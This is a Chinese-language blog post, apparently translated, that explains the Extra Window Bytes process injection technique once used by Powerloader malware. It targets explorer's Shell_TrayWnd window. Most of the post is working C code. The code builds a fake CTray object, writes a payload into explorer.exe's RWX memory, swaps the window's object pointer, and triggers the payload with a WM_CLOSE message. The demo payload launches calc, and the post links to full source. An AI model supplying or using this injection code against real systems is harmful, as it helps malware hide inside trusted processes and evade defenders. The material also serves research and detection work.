导语:介绍 Extra Window Bytes,额外的窗口字节,这种注入方法因在2013年左右出现的Powerloader恶意软件中使用而闻名。没有人确切知道它何时首次用于进程注入,因为自80年代末90年代初以来,被特性已成为Windows操作系统的一部分。Extra Windo

介绍

Extra Window Bytes,额外的窗口字节,这种注入方法因在2013年左右出现的Powerloader恶意软件中使用而闻名。没有人确切知道它何时首次用于进程注入,因为自80年代末90年代初以来,被特性已成为Windows操作系统的一部分。Extra Window Bytes的索引零可用于将类对象与窗口相关联。使用SetWindowLongPtr将指向类对象的指针存储在索引零处,并且可以使用GetWindowLongPtr检索一个指针。第一次提到使用“Shell_TrayWnd”作为注射载体可以追溯到WASM论坛上一个名为“Indy(Clerk)”的用户的帖子,在2009年左右有一些关于它的讨论。

图1显示了“Shell_TrayWnd”类的信息,你可以在其中看到Window Bytes的索引零值已设置。

shell_traywnd.png

图1:Shell_TrayWnd的Window Spy ++信息

Windows Spy ++在此处未显示完整的64位值,但如图2所示,它显示了GetWindowLongPtr API为同一窗口返回的值。

hwnd_pid.png

图2:CTray对象的完整地址

CTray类

此类中只有三种方法,没有属性。每个方法的指针都是只读的,因此我们不能简单地用指向有效载荷的指针覆盖指向WndProc的指针。我们可以手动构造对象,但我认为更好的方法是将现有对象复制到本地内存,覆盖WndProc并将对象写入资源管理器内存中的新位置。以下结构用于定义对象和指针。

// CTray object for Shell_TrayWnd
typedef struct _ctray_vtable {
    ULONG_PTR vTable;    // change to remote memory address
    ULONG_PTR AddRef;
    ULONG_PTR Release;
    ULONG_PTR WndProc;   // window procedure (change to payload)
} CTray;

上述结构包含在32位和64位系统上替换CTray对象所需的所有内容。ULONG_PTR的大小在32位系统上是4字节,在64位上是8字节。

有效载荷

这与PROPagate使用的代码之间的主要区别在于函数原型。如果我们在返回调用者时没有释放相同数量的参数,则会冒着崩溃Windows资源管理器或具有与之关联的任何窗口的风险。

LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, 
  WPARAM wParam, LPARAM lParam)
{
    // ignore messages other than WM_CLOSE
    if (uMsg != WM_CLOSE) return 0;
    
    WinExec_t pWinExec;
    DWORD     szWinExec[2],
              szCalc[2];
    // WinExec
    szWinExec[0]=0x456E6957;
    szWinExec[1]=0x00636578;
    // calc
    szCalc[0] = 0x636C6163;
    szCalc[1] = 0;
    pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
    if(pWinExec != NULL) {
      pWinExec((LPSTR)szCalc, SW_SHOW);
    }
    return 0;
}

功能齐全

这是在提供位置无关代码(Position Independent Code,PIC)时执行注入的功能。与所有这些示例一样,我省略了错误检查以帮助逐步显示流程。

LPVOID ewm(LPVOID payload, DWORD payloadSize){
    LPVOID    cs, ds;
    CTray     ct;
    ULONG_PTR ctp;
    HWND      hw;
    HANDLE    hp;
    DWORD     pid;
    SIZE_T    wr;
    
    // 1. Obtain a handle for the shell tray window
    hw = FindWindow("Shell_TrayWnd", NULL);
    // 2. Obtain a process id for explorer.exe
    GetWindowThreadProcessId(hw, &pid);
    
    // 3. Open explorer.exe
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    
    // 4. Obtain pointer to the current CTray object
    ctp = GetWindowLongPtr(hw, 0);
    
    // 5. Read address of the current CTray object
    ReadProcessMemory(hp, (LPVOID)ctp, 
        (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);
    
    // 6. Read three addresses from the virtual table
    ReadProcessMemory(hp, (LPVOID)ct.vTable, 
      (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);
    
    // 7. Allocate RWX memory for code
    cs = VirtualAllocEx(hp, NULL, payloadSize, 
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    // 8. Copy the code to target process
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    
    // 9. Allocate RW memory for the new CTray object
    ds = VirtualAllocEx(hp, NULL, sizeof(ct), 
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    // 10. Write the new CTray object to remote memory
    ct.vTable  = (ULONG_PTR)ds + sizeof(ULONG_PTR);
    ct.WndProc = (ULONG_PTR)cs;
    
    WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); 
    // 11. Set the new pointer to CTray object
    SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);
    
    // 12. Trigger the payload via a windows message
    PostMessage(hw, WM_CLOSE, 0, 0);
    
    // 13. Restore the original CTray object
    SetWindowLongPtr(hw, 0, ctp);
    // 14. Release memory and close handles
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}

总结

虽然类似于窗口对象的注入方法通常属于“粉碎”攻击的范畴,但是随着Windows Vista的发布引入了用户界面特权隔离(User Interface Privilege Isolation,UIPI),这种注入方法在Windows 10的最新版本中仍然工作良好。

你可以使用执行计算器的有效载荷查看源代码:https://github.com/odzhan/injection/tree/master/extrabytes

源链接

Hacking more

...